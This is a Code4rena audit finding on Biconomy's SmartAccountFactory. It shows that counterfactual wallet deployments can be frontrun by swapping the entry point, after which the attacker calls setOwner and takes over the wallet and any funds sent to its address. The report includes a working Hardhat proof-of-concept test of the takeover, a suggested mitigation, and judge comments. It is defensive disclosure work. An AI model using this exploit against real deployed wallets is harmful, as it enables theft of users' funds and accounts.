Deterministic wallet deployments can be frontrun or preemptively deployed and then have ownership stolen

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33-L45

Vulnerability details

Impact

When deploying a smart-account using SmartWalletFactory.deployCounterFactualWallet, the arguments _entryPoint and _handler are not used when calculating the create2 deployment address. An attacker could see a user deterministically deploying a smart-account and frontrun their transaction, changing the _entryPoint argument to their own address. Once the smart-account is deployed, the attacker can call SmartAccount.execFromEntryPoint since they are in control of the entrypoint address. They can use this function to execute a call to its own address, specifically the setOwner function as it has the mixedAuth modifier. The attacker now has full ownership of the smart-wallet.

This applies to more than just frontrunning however. A feature of deterministic account abstraction is the ability to deploy smart-accounts across multiple chains with the same address. An attacker could follow the steps above to prevent a user from being able to use the same smart-account across multiple chains by preemptively deploying.

It is also a known practice to send funds to an address that you know you will be able to deterministically deploy to, without having deployed the contract until you need to make a transaction. If a user with a deterministically deployed smart-account on Ethereum is expecting payment on Polygon, they can provide the same address for Polygon knowing they can deploy and move the funds at a later time. An attacker would be able to steal these funds.

On top of stealing ownership and funds, it is possible to use this as a DOS against wallet deployments, as each deployment by the user will fail since the frontrun deployment executes first.

Proof of Concept

The following test can be added to the end of test/aa-core/entrypoint.test.ts

describe("Deployment", function () {
  it.only("Frontrun and steal ownership", async () => {

    let baseImpl;
    let walletFactory;
    let entryPoint;
    let owner;
    let attacker;
    let victim;
    let accounts;

    // Get accounts
    accounts = await ethers.getSigners();
    owner = await accounts[0];
    attacker = await accounts[1];
    victim = await accounts[2];

    // Deploy smart account implementation
    const BaseImplementation = await ethers.getContractFactory("SmartAccount");
    baseImpl = await BaseImplementation.deploy();
    await baseImpl.deployed();

    const WalletFactory = await ethers.getContractFactory("SmartAccountFactory");
    walletFactory = await WalletFactory.deploy(baseImpl.address);
    await walletFactory.deployed();

    // <Victim tries to deploy a wallet here>

    // Attacker frontruns victim's deployment, setting the _entryPoint as their own address
    await walletFactory.connect(attacker).deployCounterFactualWallet(victim.address, attacker.address, owner.address, 1);

    const victimWalletAddress = await walletFactory.getAddressForCounterfactualWallet(victim.address, 1);
    const victimWallet = BaseImplementation.attach(victimWalletAddress);

    let oldOwner = await victimWallet.owner();

    // Attacker now uses `execFromEntryPoint` to make a call from wallet to itself
    // Calls `setOwner` to set the owner to attackers address
    victimWallet.connect(attacker).execFromEntryPoint(
      victimWalletAddress,
      0,
      victimWallet.interface.encodeFunctionData("setOwner", [attacker.address]),
      0,
      100000
    );

    let newOwner = await victimWallet.owner();

    console.log("Attacker address:  ", attacker.address);
    console.log("Victim address:    ", victim.address);
    console.log("Initial owner:     ", oldOwner);
    console.log("Post exploit owner:", newOwner);
  });
});

Tools Used

• Manual analysis

Recommended Mitigation Steps

The owner address could sign the arguments used when attempting to deploy and pass this as an additional argument. This signature can then be verified against the owner address to ensure that arguments have not been tampered with.

[c4-judge]

gzeon-c4 marked the issue as duplicate of #460

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory